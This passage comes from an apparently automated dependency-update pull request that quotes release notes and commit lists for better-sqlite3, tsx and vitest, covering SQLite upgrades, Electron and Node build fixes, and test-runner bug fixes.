Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.10.1...v12.11.0\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.10.1...v12.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.10.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump the github-actions group across 1 directory with 4 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1451\"\u003eWiseLibs/better-sqlite3#1451\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix V8 external API usage for Electron 42 by \u003ca href=\"https://github.com/tstone-1\"\u003e\u003ccode\u003e@​tstone-1\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1475\"\u003eWiseLibs/better-sqlite3#1475\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.10.0...v12.10.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.10.0...v12.10.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.10.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate SQLite to version 3.53.1 by \u003ca href=\"https://github.com/JoshuaWise\"\u003e\u003ccode\u003e@​JoshuaWise\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1467\"\u003eWiseLibs/better-sqlite3#1467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Node.js v26 prebuilds and remove EOL builds (Node.js v20, v23) by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1468\"\u003eWiseLibs/better-sqlite3#1468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTemporarily rollback support for Electron v42 prebuilds by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1470\"\u003eWiseLibs/better-sqlite3#1470\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable percentile functions by \u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.9.1...v12.10.0\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.9.1...v12.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.9.1\u003c/h2\u003e\n\u003ch2\u003e⚠️CAUTION: NOT A VIABLE RELEASE\u003c/h2\u003e\n\u003cp\u003eElectron v39+ prebuilds are not building successfully at the moment. Stick to \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/releases/tag/v12.9.0\"\u003ev12.9.0\u003c/a\u003e for now.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable percentile functions by \u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for electron v42 prebuilds by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1466\"\u003eWiseLibs/better-sqlite3#1466\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.9.0...v12.9.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.9.0...v12.9.1\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/4cbc39ca582fecb6b51dd920dfdd338ba4b72230\"\u003e\u003ccode\u003e4cbc39c\u003c/code\u003e\u003c/a\u003e 12.11.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/02b743fbde3f0d7dee70227326671a91999a75c4\"\u003e\u003ccode\u003e02b743f\u003c/code\u003e\u003c/a\u003e Fix Electron v42 build errors on Windows (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1488\"\u003e#1488\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/39a6e55314159043eeae458b335e845bc2b6faf7\"\u003e\u003ccode\u003e39a6e55\u003c/code\u003e\u003c/a\u003e 12.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/f36d8c686b1d07cd27d185fed68c1f16e325c657\"\u003e\u003ccode\u003ef36d8c6\u003c/code\u003e\u003c/a\u003e Add missing Electron v42 build target (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1486\"\u003e#1486\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/da6152c5d23a4dd7676b2b95cd0e506b819a8652\"\u003e\u003ccode\u003eda6152c\u003c/code\u003e\u003c/a\u003e 12.10.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/5bb63a2f4c5aa34de2c292b983d2b6c4fcfc6f94\"\u003e\u003ccode\u003e5bb63a2\u003c/code\u003e\u003c/a\u003e Fix V8 external API usage for Electron 42 (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1475\"\u003e#1475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/ca60e36e2545a5f970a8056edeed08572a76b890\"\u003e\u003ccode\u003eca60e36\u003c/code\u003e\u003c/a\u003e Bump the github-actions group across 1 directory with 4 updates (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1451\"\u003e#1451\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/f93f490cdd51731271534ad470d09dfd7388c6f1\"\u003e\u003ccode\u003ef93f490\u003c/code\u003e\u003c/a\u003e Update SQLite to version 3.53.2 (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1483\"\u003e#1483\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/d8885f900cb626596e28a0ecd1b9d35bf15c7a0b\"\u003e\u003ccode\u003ed8885f9\u003c/code\u003e\u003c/a\u003e 12.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/3f8932492960b9119dbbe0317d86cbad8ced132f\"\u003e\u003ccode\u003e3f89324\u003c/code\u003e\u003c/a\u003e Temporarily rollback support for Electron v42 prebuilds (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1470\"\u003e#1470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.8.0...v12.11.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.21.0 to 4.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003e4.23.1\u003c/a\u003e (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport tsImport after global preload (\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e8d4ffc2\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e avoid clearing piped output (\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e95d0672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e treat script and dependency paths literally (\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e79fddde\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eindex transform cache lazily (\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003ee818ad6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eload esbuild lazily in CLI (\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003ed067938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emap Node TypeScript formats directly (\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003ecdcc623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse sync module hooks on Node v22.22.3+ (\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003ef8992f1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.1\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.22.5...v4.23.0\"\u003e4.23.0\u003c/a\u003e (2026-07-03)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid redundant filesystem probes during module resolution (\u003ca href=\"https://github.com/privatenumber/tsx/commit/257bbbb7eb2784cad6a3bb7a2d9c9747d28d96ec\"\u003e257bbbb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003eprivatenumber/tsx#809\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd multi-scenario startup benchmark suite (\u003ca href=\"https://github.com/privatenumber/tsx/commit/c178197b104d055fd3431f7448982f3156394d12\"\u003ec178197\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003eprivatenumber/tsx#809\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003e#809\u003c/a\u003e \u003ca href=\"https://github.com/hi/issues/signal\"\u003ehi#signal\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/145\"\u003eprivatenumber/tsx#145\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003e#809\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.0\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.22.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.22.4...v4.22.5\"\u003e4.22.5\u003c/a\u003e (2026-07-02)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eisolate hook state per async module.register() registration (\u003ca href=\"https://github.com/privatenumber/tsx/commit/a305f365f0cbcc31a44549dcbb0e63dc2883e96d\"\u003ea305f36\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.22.5\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e\u003ccode\u003e79fddde\u003c/code\u003e\u003c/a\u003e fix(watch): treat script and dependency paths literally\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003e\u003ccode\u003ee818ad6\u003c/code\u003e\u003c/a\u003e perf: index transform cache lazily\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003e\u003ccode\u003ecdcc623\u003c/code\u003e\u003c/a\u003e perf: map Node TypeScript formats directly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003e\u003ccode\u003ed067938\u003c/code\u003e\u003c/a\u003e perf: load esbuild lazily in CLI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e\u003ccode\u003e95d0672\u003c/code\u003e\u003c/a\u003e fix(watch): avoid clearing piped output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6fd4607e8a99d1efe27f185f749c659138f00ece\"\u003e\u003ccode\u003e6fd4607\u003c/code\u003e\u003c/a\u003e docs: add per-page metadata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f4176d8c6329a12205ed9b8c582e559cafc45018\"\u003e\u003ccode\u003ef4176d8\u003c/code\u003e\u003c/a\u003e docs: generate sitemap\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e\u003ccode\u003e8d4ffc2\u003c/code\u003e\u003c/a\u003e fix: support tsImport after global preload\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f0e89b244c98849dc5f9483fa33aaaf983ede18f\"\u003e\u003ccode\u003ef0e89b2\u003c/code\u003e\u003c/a\u003e docs: document Node's public type-stripping API vs internal loader path\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003e\u003ccode\u003ef8992f1\u003c/code\u003e\u003c/a\u003e perf: use sync module hooks on Node v22.22.3+\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.21.0...v4.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for tsx since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.4 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.8\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eDisable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10450\"\u003evitest-dev/vitest#10450\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e4067b3b1\"\u003e\u003c!-- raw HTML omitted --\u003e(e4067)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove orphaned Playwright route when same module is mocked via multiple ids [backport to v4]  -  by \u003ca href=\"https://github.com/toxik\"\u003e\u003ccode\u003e@​toxik\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/Zelys-DFKH\"\u003e\u003ccode\u003e@​Zelys-DFKH\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10474\"\u003evitest-dev/vitest#10474\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/675b4343f\"\u003e\u003c!-- raw HTML omitted --\u003e(675b4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.7...v4.1.8\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erunner\u003c/strong\u003e: Limit concurrency per task branch in addition to per leaf callbacks (backport)  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10384\"\u003evitest-dev/vitest#10384\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f0f2a1ee\"\u003e\u003c!-- raw HTML omitted --\u003e(4f0f2)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.6...v4.1.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Provide project reference in \u003ccode\u003eToMatchScreenshotResolvePath\u003c/code\u003e  -  by \u003ca href=\"https://github.com/macarie\"\u003e\u003ccode\u003e@​macarie\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10138\"\u003evitest-dev/vitest#10138\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/31882607c\"\u003e\u003c!-- raw HTML omitted --\u003e(31882)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGlobal \u003ccode\u003esequence.concurrent: true\u003c/code\u003e with top-level \u003ccode\u003etest(..., { concurrent: false })\u003c/code\u003e + depreacte \u003ccode\u003esequential\u003c/code\u003e test API and options  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eCodex\u003c/strong\u003e and \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10196\"\u003evitest-dev/vitest#10196\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2847dfa2a\"\u003e\u003c!-- raw HTML omitted --\u003e(2847d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Simplify orchestrator otel carrier  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10285\"\u003evitest-dev/vitest#10285\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/18af98cee\"\u003e\u003c!-- raw HTML omitted --\u003e(18af9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🏎 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStringify diff objects only once  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca 